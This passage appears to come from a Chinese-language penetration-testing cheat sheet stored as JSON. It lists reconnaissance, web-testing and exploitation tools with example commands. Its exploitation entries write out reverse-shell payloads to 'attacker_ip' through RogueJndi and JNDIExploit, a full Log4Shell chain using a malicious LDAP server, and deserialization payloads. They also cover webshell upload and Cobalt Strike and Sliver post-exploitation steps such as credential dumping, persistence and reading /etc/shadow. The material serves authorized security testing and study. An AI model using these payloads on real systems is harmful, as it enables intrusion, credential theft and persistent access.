"command": "dirsearch -u https://target.com -t 20 --cookie=\"session=abc123\" -H \"Authorization: Bearer token\"",
"description": "20线程并发，携带认证信息",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "dirsearch -u https://target.com -o result.json --format=json",
"description": "输出JSON格式结果",
"platform": "all",
"syntaxBreakdown": []
}
]
},
{
"id": "feroxbuster",
"name": "FeroxBuster",
"description": "用Rust编写的高性能递归目录发现工具",
"category": "信息收集",
"tags": [],
"commands": [
{
"command": "feroxbuster -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt",
"description": "使用SecLists字典扫描目录",
"platform": "all",
"syntaxBreakdown": [
{
"part": "feroxbuster",
"explanation": "Rust编写的高速目录枚举工具",
"type": "command"
},
{
"part": "-u",
"explanation": "目标URL",
"type": "parameter"
},
{
"part": "-w",
"explanation": "字典文件路径",
"type": "parameter"
}
]
},
{
"command": "feroxbuster -u https://target.com -d 3 -C 403,404,500 -x php,asp,html --rate-limit 50",
"description": "递归3层，过滤状态码，限制速率",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "feroxbuster -u https://target.com -H \"Cookie: session=abc\" -H \"Authorization: Bearer xxx\" -t 30",
"description": "携带认证头，30线程并发",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "feroxbuster -u https://target.com --auto-tune --smart",
"description": "自动调整请求速率和过滤条件",
"platform": "all",
"syntaxBreakdown": []
}
]
},
{
"id": "massdns",
"name": "MassDNS",
"description": "高性能DNS解析器，用于子域名暴力枚举",
"category": "信息收集",
"tags": [],
"commands": [
{
"command": "massdns -r resolvers.txt -t A -o S -w results.txt subdomains.txt",
"description": "使用字典文件解析子域名",
"platform": "linux",
"syntaxBreakdown": [
{
"part": "-r resolvers.txt",
"explanation": "DNS解析器列表",
"type": "parameter"
},
{
"part": "-t A",
"explanation": "查询A记录",
"type": "parameter"
},
{
"part": "-o S",
"explanation": "简洁输出模式",
"type": "parameter"
}
]
},
{
"command": "cat subdomains.txt | sed \"s/$/.target.com/\" > full_subs.txt\nmassdns -r resolvers.txt -t A -o J full_subs.txt > results.json",
"description": "批量生成子域名并JSON格式输出",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "massdns -r resolvers.txt -t A -o S -w output.txt --hashmap-size 10000 -s 10000 subs.txt",
"description": "设置并发数和哈希表大小提高性能",
"platform": "linux",
"syntaxBreakdown": []
}
]
},
{
"id": "amass",
"name": "Amass",
"description": "OWASP出品的深度攻击面映射和资产发现工具",
"category": "信息收集",
"tags": [],
"commands": [
{
"command": "amass enum -passive -d target.com -o results.txt",
"description": "仅使用被动数据源枚举子域名",
"platform": "all",
"syntaxBreakdown": [
{
"part": "enum",
"explanation": "枚举模式",
"type": "command"
},
{
"part": "-passive",
"explanation": "仅被动收集(不发送请求)",
"type": "parameter"
},
{
"part": "-d",
"explanation": "目标域名",
"type": "parameter"
}
]
},
{
"command": "amass enum -active -d target.com -brute -w /usr/share/amass/wordlists/subdomains-top1mil.txt",
"description": "主动DNS枚举+字典暴力破解",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "amass intel -d target.com -whois\namass intel -org \"Target Corp\" -max-dns-queries 2500",
"description": "收集WHOIS和组织相关域名情报",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "amass viz -d3 -d target.com\namass db -show -d target.com",
"description": "生成D3.js可视化图表和查看历史数据",
"platform": "all",
"syntaxBreakdown": []
}
]
},
{
"id": "subfinder",
"name": "Subfinder",
"description": "被动子域名发现工具，支持多种在线数据源",
"category": "信息收集",
"tags": [],
"commands": [
{
"command": "subfinder -d target.com -o subs.txt",
"description": "枚举子域名并输出到文件",
"platform": "all",
"syntaxBreakdown": [
{
"part": "subfinder",
"explanation": "被动子域名枚举工具",
"type": "command"
},
{
"part": "-d",
"explanation": "目标域名",
"type": "parameter"
}
]
},
{
"command": "subfinder -d target.com -recursive -all -o subs.txt",
"description": "使用所有数据源递归枚举",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "subfinder -d target.com -silent | httpx -silent -status-code -title",
"description": "与httpx联动探测存活子域名",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "subfinder -dL domains.txt -o all_subs.txt -t 30",
"description": "从文件读取多个域名批量枚举",
"platform": "all",
"syntaxBreakdown": []
}
]
},
{
"id": "httpx",
"name": "HTTPX",
"description": "快速多功能HTTP探针工具，用于批量探测Web服务",
"category": "信息收集",
"tags": [],
"commands": [
{
"command": "httpx -l urls.txt -status-code -title -tech-detect -o alive.txt",
"description": "批量探测URL存活状态、标题和技术栈",
"platform": "all",
"syntaxBreakdown": [
{
"part": "-status-code",
"explanation": "显示HTTP状态码",
"type": "parameter"
},
{
"part": "-title",
"explanation": "提取页面标题",
"type": "parameter"
},
{
"part": "-tech-detect",
"explanation": "识别Web技术栈",
"type": "parameter"
}
]
},
{
"command": "httpx -l urls.txt -screenshot -favicon -hash md5 -jarm",
"description": "截图、提取favicon哈希和JARM指纹",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "cat subs.txt | httpx -silent -mc 200,301,302 -content-length -web-server",
"description": "过滤指定状态码并显示服务器信息",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "httpx -l urls.txt -path \"/api/v1/health,/admin,/.env,/robots.txt\" -mc 200",
"description": "批量探测指定路径",
"platform": "all",
"syntaxBreakdown": []
}
]
},
{
"id": "whatweb",
"name": "WhatWeb",
"description": "Web指纹识别工具，识别网站使用的技术栈",
"category": "信息收集",
"tags": [],
"commands": [
{
"command": "whatweb https://target.com",
"description": "识别目标网站技术栈",
"platform": "all",
"syntaxBreakdown": [
{
"part": "whatweb",
"explanation": "Web技术指纹识别工具",
"type": "command"
}
]
},
{
"command": "whatweb -v https://target.com -a 3",
"description": "详细输出，攻击等级3(更深度探测)",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "whatweb --input-file=urls.txt --log-json=results.json",
"description": "从文件读取URL批量扫描",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "whatweb --info-plugins\nwhatweb -p WordPress,Joomla,Drupal https://target.com",
"description": "列出或指定使用特定插件",
"platform": "all",
"syntaxBreakdown": []
}
]
},
{
"id": "wafw00f",
"name": "WAFW00F",
"description": "Web应用防火墙(WAF)检测和指纹识别工具",
"category": "信息收集",
"tags": [],
"commands": [
{
"command": "wafw00f https://target.com",
"description": "检测目标是否部署WAF及WAF类型",
"platform": "all",
"syntaxBreakdown": [
{
"part": "wafw00f",
"explanation": "WAF指纹识别工具",
"type": "command"
}
]
},
{
"command": "wafw00f https://target.com -v -a",
"description": "详细模式，测试所有WAF签名",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "wafw00f -i urls.txt -o results.csv",
"description": "批量检测多个URL",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "wafw00f -l",
"description": "列出所有可识别的WAF产品",
"platform": "all",
"syntaxBreakdown": []
}
]
},
{
"id": "dnsrecon",
"name": "DNSRecon",
"description": "DNS枚举和信息收集工具",
"category": "信息收集",
"tags": [],
"commands": [
{
"command": "dnsrecon -d target.com -t std",
"description": "标准DNS记录枚举(SOA/NS/A/MX/TXT等)",
"platform": "all",
"syntaxBreakdown": [
{
"part": "-d",
"explanation": "目标域名",
"type": "parameter"
},
{
"part": "-t std",
"explanation": "标准记录枚举类型",
"type": "parameter"
}
]
},
{
"command": "dnsrecon -d target.com -t axfr",
"description": "尝试DNS区域传送",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "dnsrecon -d target.com -t brt -D /usr/share/wordlists/subdomains.txt",
"description": "使用字典暴力枚举子域名",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "dnsrecon -r 192.168.1.0/24 -t rvl",
"description": "对IP段进行反向DNS查询",
"platform": "all",
"syntaxBreakdown": []
}
]
},
{
"id": "dnsenum",
"name": "DNSEnum",
"description": "DNS信息收集工具，支持区域传送和子域名枚举",
"category": "信息收集",
"tags": [],
"commands": [
{
"command": "dnsenum target.com",
"description": "枚举DNS信息(NS/MX/A/区域传送等)",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "dnsenum --enum -f /usr/share/dnsenum/dns.txt --threads 10 target.com",
"description": "使用字典暴力枚举子域名",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "dnsenum --dnsserver 8.8.8.8 target.com",
"description": "指定DNS服务器进行枚举",
"platform": "all",
"syntaxBreakdown": []
}
]
},
{
"id": "theharvester",
"name": "theHarvester",
"description": "邮箱、子域名、IP等OSINT信息收集工具",
"category": "信息收集",
"tags": [],
"commands": [
{
"command": "theHarvester -d target.com -b all -l 500",
"description": "使用所有数据源收集信息",
"platform": "all",
"syntaxBreakdown": [
{
"part": "-d",
"explanation": "目标域名",
"type": "parameter"
},
{
"part": "-b all",
"explanation": "使用所有可用数据源",
"type": "parameter"
},
{
"part": "-l 500",
"explanation": "最大结果数",
"type": "parameter"
}
]
},
{
"command": "theHarvester -d target.com -b google,bing,linkedin,shodan",
"description": "使用指定数据源搜集",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "theHarvester -d target.com -b all -f report.html",
"description": "生成HTML格式报告",
"platform": "all",
"syntaxBreakdown": []
}
]
},
{
"id": "nikto",
"name": "Nikto",
"description": "Web服务器漏洞扫描器，检测危险文件、过时组件和配置问题",
"category": "Web渗透",
"tags": [],
"commands": [
{
"command": "nikto -h https://target.com",
"description": "对目标进行全面Web漏洞扫描",
"platform": "all",
"syntaxBreakdown": [
{
"part": "nikto",
"explanation": "Web服务器漏洞扫描器",
"type": "command"
},
{
"part": "-h",
"explanation": "目标主机",
"type": "parameter"
}
]
},
{
"command": "nikto -h target.com -p 8443 -ssl",
"description": "扫描HTTPS服务",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "nikto -h target.com -useproxy http://127.0.0.1:8080",
"description": "通过Burp代理进行扫描",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "nikto -h target.com -Plugins \"apache_expect_xss;outdated\"",
"description": "仅运行指定的测试插件",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "nikto -h target.com -o report.html -Format htm",
"description": "输出HTML格式报告",
"platform": "all",
"syntaxBreakdown": []
}
]
},
{
"id": "zap",
"name": "OWASP ZAP",
"description": "OWASP官方Web应用安全测试平台",
"category": "Web渗透",
"tags": [],
"commands": [
{
"command": "zap-cli quick-scan -s all -r https://target.com\n# 或使用API\ncurl \"http://localhost:8080/JSON/ascan/action/scan/?url=https://target.com\"",
"description": "快速自动化漏洞扫描",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "zap-api-scan.py -t https://target.com/api/swagger.json -f openapi",
"description": "根据OpenAPI规范扫描API",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "# 配置ZAP为代理(默认8080端口)\n# 浏览器配置代理后正常浏览\n# ZAP自动进行被动漏洞检测",
"description": "代理模式被动扫描",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "docker run -t ghcr.io/zaproxy/zaproxy zap-baseline.py -t https://target.com -r report.html",
"description": "使用Docker容器化运行基线扫描",
"platform": "all",
"syntaxBreakdown": []
}
]
},
{
"id": "arjun",
"name": "Arjun",
"description": "HTTP参数发现工具，发现隐藏的GET/POST参数",
"category": "Web渗透",
"tags": [],
"commands": [
{
"command": "arjun -u https://target.com/page",
"description": "发现隐藏的GET参数",
"platform": "all",
"syntaxBreakdown": [
{
"part": "arjun",
"explanation": "HTTP参数发现工具",
"type": "command"
},
{
"part": "-u",
"explanation": "目标URL",
"type": "parameter"
}
]
},
{
"command": "arjun -u https://target.com/api -m POST --include=\"Content-Type: application/json\"",
"description": "发现POST请求的隐藏参数",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "arjun -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt",
"description": "使用自定义参数字典",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "arjun -i urls.txt -o results.json --stable",
"description": "批量扫描多个URL，稳定模式",
"platform": "all",
"syntaxBreakdown": []
}
]
},
{
"id": "wfuzz",
"name": "WFuzz",
"description": "Web应用模糊测试工具，用于暴力破解参数、目录、认证等",
"category": "Web渗透",
"tags": [],
"commands": [
{
"command": "wfuzz -c -z file,/usr/share/wordlists/dirb/big.txt --hc 404 https://target.com/FUZZ",
"description": "目录暴力破解，隐藏404",
"platform": "all",
"syntaxBreakdown": [
{
"part": "-c",
"explanation": "彩色输出",
"type": "parameter"
},
{
"part": "-z file,wordlist",
"explanation": "指定字典文件作为payload",
"type": "parameter"
},
{
"part": "--hc 404",
"explanation": "隐藏404响应",
"type": "parameter"
},
{
"part": "FUZZ",
"explanation": "Payload注入点占位符",
"type": "variable"
}
]
},
{
"command": "wfuzz -c -z file,params.txt --hh 0 \"https://target.com/api?FUZZ=test\"",
"description": "参数名Fuzz，隐藏空响应",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "wfuzz -c -z file,users.txt -z file,passwords.txt --hc 403 -d \"user=FUZZ&pass=FUZ2Z\" https://target.com/login",
"description": "双字典组合爆破登录",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "wfuzz -c -z file,subs.txt --hc 404 -H \"Host: FUZZ.target.com\" https://target.com",
"description": "Host头注入方式枚举子域名",
"platform": "all",
"syntaxBreakdown": []
}
]
},
{
"id": "commix",
"name": "Commix",
"description": "自动化命令注入漏洞检测和利用工具",
"category": "Web渗透",
"tags": [],
"commands": [
{
"command": "commix --url=\"https://target.com/page?cmd=test\"",
"description": "自动检测命令注入点",
"platform": "all",
"syntaxBreakdown": [
{
"part": "commix",
"explanation": "命令注入自动化工具",
"type": "command"
},
{
"part": "--url",
"explanation": "目标URL(参数中含注入点)",
"type": "parameter"
}
]
},
{
"command": "commix --url=\"https://target.com/api\" --data=\"host=INJECT_HERE\" -p host",
"description": "指定POST参数进行注入测试",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "commix --url=\"https://target.com/page?ip=test\" --os-cmd=\"id\"\ncommix --url=\"https://target.com/page?ip=test\" --os-shell",
"description": "执行系统命令或获取交互式Shell",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "commix --url=\"https://target.com/page?cmd=test\" --tamper=base64encode --technique=t",
"description": "使用编码绕过和时间盲注技术",
"platform": "all",
"syntaxBreakdown": []
}
]
},
{
"id": "dalfox",
"name": "Dalfox",
"description": "基于Go的高性能XSS漏洞扫描和参数分析工具",
"category": "Web渗透",
"tags": [],
"commands": [
{
"command": "dalfox url \"https://target.com/search?q=test\"",
"description": "扫描单个URL的XSS漏洞",
"platform": "all",
"syntaxBreakdown": [
{
"part": "dalfox",
"explanation": "XSS漏洞扫描工具",
"type": "command"
},
{
"part": "url",
"explanation": "单URL扫描模式",
"type": "parameter"
}
]
},
{
"command": "cat urls.txt | dalfox pipe --silence --only-poc",
"description": "批量扫描，仅输出POC",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "dalfox url \"https://target.com/q=test\" --custom-payload payloads.txt --waf-evasion",
"description": "使用自定义Payload并启用WAF绕过",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "dalfox url \"https://target.com/q=test\" --blind https://your-xss-hunter.com",
"description": "使用Blind XSS回调检测",
"platform": "all",
"syntaxBreakdown": []
}
]
},
{
"id": "xsstrike",
"name": "XSStrike",
"description": "高级XSS检测工具，支持反射/存储/DOM型XSS检测",
"category": "Web渗透",
"tags": [],
"commands": [
{
"command": "python3 xsstrike.py -u \"https://target.com/search?q=test\"",
"description": "扫描反射型XSS",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "python3 xsstrike.py -u \"https://target.com/comment\" --data \"content=test\" --method POST",
"description": "测试POST参数的XSS",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "python3 xsstrike.py -u \"https://target.com/q=test\" --fuzzer",
"description": "使用模糊测试模式发现过滤规则",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "python3 xsstrike.py -u \"https://target.com\" --crawl -l 3",
"description": "爬取3层深度的所有页面并测试XSS",
"platform": "all",
"syntaxBreakdown": []
}
]
},
{
"id": "gopherus",
"name": "Gopherus",
"description": "生成Gopher协议Payload，用于SSRF攻击内部服务",
"category": "Web渗透",
"tags": [],
"commands": [
{
"command": "python2 gopherus.py --exploit mysql\n# 输入SQL查询语句后生成gopher://payload",
"description": "生成攻击MySQL的Gopher Payload",
"platform": "all",
"syntaxBreakdown": [
{
"part": "--exploit mysql",
"explanation": "指定目标服务类型",
"type": "parameter"
}
]
},
{
"command": "python2 gopherus.py --exploit redis\n# 可生成写入webshell/计划任务/SSH密钥等payload",
"description": "生成攻击Redis的Gopher Payload",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "python2 gopherus.py --exploit fastcgi\n# 输入要执行的命令",
"description": "生成攻击PHP-FPM/FastCGI的Payload",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "python2 gopherus.py --exploit smtp",
"description": "生成通过SMTP发送邮件的Payload",
"platform": "all",
"syntaxBreakdown": []
}
]
},
{
"id": "smuggler",
"name": "Smuggler",
"description": "HTTP请求走私漏洞检测工具",
"category": "Web渗透",
"tags": [],
"commands": [
{
"command": "python3 smuggler.py -u https://target.com",
"description": "自动检测HTTP请求走私漏洞",
"platform": "all",
"syntaxBreakdown": [
{
"part": "smuggler.py",
"explanation": "HTTP走私检测脚本",
"type": "command"
}
]
},
{
"command": "python3 smuggler.py -u https://target.com -t CL.TE",
"description": "测试CL.TE类型的请求走私",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "cat urls.txt | python3 smuggler.py",
"description": "从标准输入读取URL批量测试",
"platform": "all",
"syntaxBreakdown": []
}
]
},
{
"id": "jwt-tool",
"name": "JWT Tool",
"description": "JSON Web Token安全测试工具，支持伪造/破解/注入",
"category": "Web渗透",
"tags": [],
"commands": [
{
"command": "jwt_tool eyJhbGciOi...",
"description": "解析并显示JWT的Header和Payload",
"platform": "all",
"syntaxBreakdown": [
{
"part": "jwt_tool",
"explanation": "JWT安全测试工具",
"type": "command"
}
]
},
{
"command": "jwt_tool -t https://target.com/api -rh \"Authorization: Bearer eyJ...\" -M at",
"description": "自动尝试所有已知JWT攻击",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "jwt_tool eyJhbGciOi... -X a",
"description": "尝试将算法改为none绕过验证",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "jwt_tool eyJhbGciOi... -C -d /usr/share/wordlists/rockyou.txt",
"description": "暴力破解HMAC密钥",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "jwt_tool eyJhbGciOi... -S hs256 -p \"secret_key\" -I -pc role -pv admin",
"description": "使用已知密钥伪造Token，修改角色为admin",
"platform": "all",
"syntaxBreakdown": []
}
]
},
{
"id": "graphqlmap",
"name": "GraphQLmap",
"description": "GraphQL API渗透测试工具，支持自省查询和注入",
"category": "Web渗透",
"tags": [],
"commands": [
{
"command": "python3 graphqlmap.py -u https://target.com/graphql --method POST -x dump_schema",
"description": "通过自省查询导出完整Schema",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "python3 graphqlmap.py -u https://target.com/graphql --method POST -x enum",
"description": "枚举所有可用的Query/Mutation字段",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "python3 graphqlmap.py -u https://target.com/graphql --method POST -x nosqli",
"description": "测试GraphQL参数的注入漏洞",
"platform": "all",
"syntaxBreakdown": []
}
]
},
{
"id": "cadaver",
"name": "Cadaver",
"description": "WebDAV客户端工具，用于测试WebDAV服务",
"category": "Web渗透",
"tags": [],
"commands": [
{
"command": "cadaver https://target.com/webdav/",
"description": "连接到WebDAV服务器",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "# 在cadaver交互式Shell中:\nput shell.aspx\nmput *.txt",
"description": "上传Webshell或文件到WebDAV目录",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "# cadaver Shell:\nls\nget config.xml\nmget *.bak",
"description": "列出目录内容并下载文件",
"platform": "linux",
"syntaxBreakdown": []
}
]
},
{
"id": "searchsploit",
"name": "Searchsploit",
"description": "Exploit-DB本地搜索工具，离线查找漏洞利用代码",
"category": "漏洞利用",
"tags": [],
"commands": [
{
"command": "searchsploit apache 2.4\nsearchsploit wordpress 5.0",
"description": "按关键词搜索漏洞利用",
"platform": "all",
"syntaxBreakdown": [
{
"part": "searchsploit",
"explanation": "Exploit-DB本地搜索工具",
"type": "command"
}
]
},
{
"command": "searchsploit -e \"Apache Tomcat\"\nsearchsploit --exclude=\"dos\" windows smb",
"description": "精确匹配和排除关键词",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "searchsploit -m 44228\nsearchsploit -p 44228",
"description": "复制exploit到当前目录或显示路径",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "searchsploit -j apache | jq \".RESULTS_EXPLOIT[]\"",
"description": "JSON格式输出便于脚本处理",
"platform": "all",
"syntaxBreakdown": []
}
]
},
{
"id": "exploitdb",
"name": "ExploitDB",
"description": "漏洞利用代码数据库在线搜索",
"category": "漏洞利用",
"tags": [],
"commands": [
{
"command": "# 访问 https://www.exploit-db.com\n# 搜索框输入: Apache Struts\n# 或使用Google Dork:\nsite:exploit-db.com \"Apache Struts\" RCE",
"description": "在线搜索漏洞利用代码",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "curl \"https://www.exploit-db.com/search?q=wordpress+5.0\" -H \"X-Requested-With: XMLHttpRequest\"",
"description": "通过API搜索(需要合适的请求头)",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "# ExploitDB收录的Google Dorks:\nhttps://www.exploit-db.com/google-hacking-database\n# 搜索泄露的配置文件、数据库等",
"description": "使用ExploitDB的Google Hacking数据库",
"platform": "all",
"syntaxBreakdown": []
}
]
},
{
"id": "ysoserial",
"name": "ysoserial",
"description": "Java反序列化漏洞利用Payload生成工具",
"category": "漏洞利用",
"tags": [],
"commands": [
{
"command": "java -jar ysoserial.jar CommonsCollections1 \"id\" | base64\njava -jar ysoserial.jar CommonsCollections5 \"whoami\" > payload.bin",
"description": "使用指定Gadget Chain生成反序列化Payload",
"platform": "all",
"syntaxBreakdown": [
{
"part": "CommonsCollections1",
"explanation": "Gadget Chain名称(依赖目标classpath)",
"type": "parameter"
},
{
"part": "\"id\"",
"explanation": "要执行的系统命令",
"type": "value"
}
]
},
{
"command": "java -jar ysoserial.jar --help\n# 常用: CommonsCollections1-7, Jdk7u21, URLDNS, JRMPClient",
"description": "列出所有可用的Gadget Chain",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "# 监听端(攻击机):\njava -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 \"bash -c {echo,base64_cmd}|{base64,-d}|{bash,-i}\"\n\n# 发送JRMP客户端Payload:\njava -jar ysoserial.jar JRMPClient attacker_ip:1099 > jrmp.bin",
"description": "通过JRMP协议进行远程利用",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "java -jar ysoserial.jar URLDNS \"http://your_dnslog.com/test\" | base64",
"description": "使用URLDNS链探测反序列化漏洞(无需依赖)",
"platform": "all",
"syntaxBreakdown": []
}
]
},
{
"id": "ysoserial-net",
"name": "ysoserial.net",
"description": ".NET反序列化Payload生成工具",
"category": "漏洞利用",
"tags": [],
"commands": [
{
"command": "ysoserial.exe -g TypeConfuseDelegate -f ObjectStateFormatter -c \"calc\" -o base64",
"description": "生成.NET反序列化Payload",
"platform": "windows",
"syntaxBreakdown": [
{
"part": "-g",
"explanation": "Gadget Chain名称",
"type": "parameter"
},
{
"part": "-f",
"explanation": "序列化格式(BinaryFormatter/ObjectStateFormatter等)",
"type": "parameter"
},
{
"part": "-c",
"explanation": "要执行的命令",
"type": "parameter"
},
{
"part": "-o base64",
"explanation": "Base64编码输出",
"type": "parameter"
}
]
},
{
"command": "ysoserial.exe -p ViewState -g TextFormattingRunProperties -c \"cmd /c whoami\" --validationalg=SHA1 --validationkey=MACHINE_KEY --generator=GENERATOR",
"description": "伪造ASP.NET ViewState执行命令",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "ysoserial.exe -l\n# 常用: TextFormattingRunProperties, TypeConfuseDelegate, PSObject",
"description": "列出所有可用的Gadget Chain和格式",
"platform": "windows",
"syntaxBreakdown": []
}
]
},
{
"id": "marshalsec",
"name": "Marshalsec",
"description": "Java反序列化利用工具，支持多种Marshal格式和JNDI注入",
"category": "漏洞利用",
"tags": [],
"commands": [
{
"command": "java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer \"http://attacker_ip:8888/#Exploit\" 1389",
"description": "启动恶意LDAP服务器用于JNDI注入(Log4Shell等)",
"platform": "all",
"syntaxBreakdown": [
{
"part": "LDAPRefServer",
"explanation": "启动LDAP Reference服务器",
"type": "command"
},
{
"part": "\"http://attacker_ip:8888/#Exploit\"",
"explanation": "恶意class文件托管URL",
"type": "value"
},
{
"part": "1389",
"explanation": "LDAP服务监听端口",
"type": "value"
}
]
},
{
"command": "java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer \"http://attacker_ip:8888/#Exploit\" 1099",
"description": "启动恶意RMI服务器",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "# 1. 编译恶意class: javac Exploit.java\n# 2. 托管class: python3 -m http.server 8888\n# 3. 启动LDAP: java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer \"http://ip:8888/#Exploit\" 1389\n# 4. 触发: ${jndi:ldap://ip:1389/Exploit}",
"description": "配合Log4j2 RCE完整利用链",
"platform": "all",
"syntaxBreakdown": []
}
]
},
{
"id": "jndi-exploit",
"name": "JNDIExploit",
"description": "JNDI注入利用工具，集成多种Gadget和Bypass",
"category": "漏洞利用",
"tags": [],
"commands": [
{
"command": "java -jar JNDIExploit.jar -i attacker_ip",
"description": "启动JNDI Exploit服务(同时监听LDAP 1389和HTTP 3456)",
"platform": "all",
"syntaxBreakdown": [
{
"part": "-i",
"explanation": "攻击机IP地址",
"type": "parameter"
}
]
},
{
"command": "# 触发Payload:\n${jndi:ldap://attacker_ip:1389/Basic/Command/Base64/Y21k}\n${jndi:ldap://attacker_ip:1389/Basic/ReverseShell/attacker_ip/4444}",
"description": "通过不同路由执行命令或反弹Shell",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "# 使用Tomcat Bypass:\n${jndi:ldap://attacker_ip:1389/TomcatBypass/Command/Base64/d2hvYW1p}\n# 使用反序列化Bypass:\n${jndi:ldap://attacker_ip:1389/Deserialization/CommonsCollections5/Command/Base64/d2hvYW1p}",
"description": "绕过高版本JDK的trustURLCodebase限制",
"platform": "all",
"syntaxBreakdown": []
}
]
},
{
"id": "rogue-jndi",
"name": "Rogue JNDI",
"description": "恶意JNDI服务器，提供多种攻击向量",
"category": "漏洞利用",
"tags": [],
"commands": [
{
"command": "java -jar RogueJndi.jar --command \"whoami\" --hostname attacker_ip",
"description": "启动恶意JNDI服务(LDAP+RMI+HTTP)",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "java -jar RogueJndi.jar --command \"bash -i >& /dev/tcp/attacker_ip/4444 0>&1\" --hostname attacker_ip",
"description": "配置反弹Shell命令",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "# LDAP: ${jndi:ldap://attacker_ip:1389/o=reference}\n# RMI: ${jndi:rmi://attacker_ip:1099/o=reference}",
"description": "在目标注入JNDI Lookup触发利用",
"platform": "all",
"syntaxBreakdown": []
}
]
},
{
"id": "cobalt-strike",
"name": "Cobalt Strike",
"description": "商业化红队C2框架，支持多种攻击和后渗透功能",
"category": "漏洞利用",
"tags": [],
"commands": [
{
"command": "./teamserver your_ip your_password malleable_c2_profile.profile",
"description": "启动CS服务端",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "# GUI操作:\n# Attacks > Packages > Windows Executable (S)\n# Attacks > Packages > HTML Application\n# Attacks > Web Drive-by > Scripted Web Delivery",
"description": "通过图形界面生成各类Payload",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "# 基础信息\nwhoami\nshell ipconfig\ngetuid\n\n# 横向移动\njump psexec target_ip SMB_listener\njump winrm target_ip HTTP_listener\n\n# 凭证获取\nhashdump\nlogonpasswords\n\n# 持久化\npersist-service\npersist-registry",
"description": "获取Beacon后的常用后渗透命令",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "# 使用C2 Profile伪装流量:\n# https://github.com/rsmudge/Malleable-C2-Profiles\n./teamserver ip pass jquery-c2.4.0.profile",
"description": "使用Malleable C2 Profile伪装通信流量",
"platform": "linux",
"syntaxBreakdown": []
}
]
},
{
"id": "sliver",
"name": "Sliver",
"description": "开源跨平台红队C2框架，Cobalt Strike替代品",
"category": "漏洞利用",
"tags": [],
"commands": [
{
"command": "sliver-server",
"description": "启动Sliver服务端",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "# 在Sliver控制台:\ngenerate --mtls attacker_ip --os windows --arch amd64 --save implant.exe\ngenerate --http attacker_ip --os linux --format shared --save implant.so",
"description": "生成各平台的植入体",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "mtls -l 8888\nhttps -l 443 -d example.com\nwg -l 51820",
"description": "启动mTLS/HTTPS/WireGuard监听器",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "# 获取Session后:\ninfo\ngetuid\nps\ndownload /etc/shadow\nupload local_file /tmp/remote\nexecute -o whoami\npivots tcp --bind 0.0.0.0:9050",
"description": "常用后渗透操作命令",
"platform": "all",
"syntaxBreakdown": []
}
]
},
{
"id": "mythic",
"name": "Mythic",
"description": "模块化C2框架，支持多种Agent和自定义扩展",
"category": "漏洞利用",
"tags": [],
"commands": [
{
